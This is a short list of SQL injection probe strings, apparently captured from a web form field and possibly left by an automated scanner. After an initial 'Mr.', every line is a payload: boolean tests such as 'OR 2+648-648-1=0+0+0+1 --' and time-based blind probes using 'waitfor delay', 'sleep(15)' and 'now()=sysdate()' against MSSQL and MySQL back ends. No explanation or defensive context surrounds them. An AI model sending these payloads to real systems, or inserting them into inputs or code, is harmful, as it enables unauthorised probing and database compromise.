Mr.

-1 OR 2+236-236-1=0+0+0+1

-1' OR 2+648-648-1=0+0+0+1 --

-1' OR 2+38-38-1=0+0+0+1 or 'PHGsr67Q'='

-1" OR 2+173-173-1=0+0+0+1 --

-1); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

if(now()=sysdate(),sleep(15),0)

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z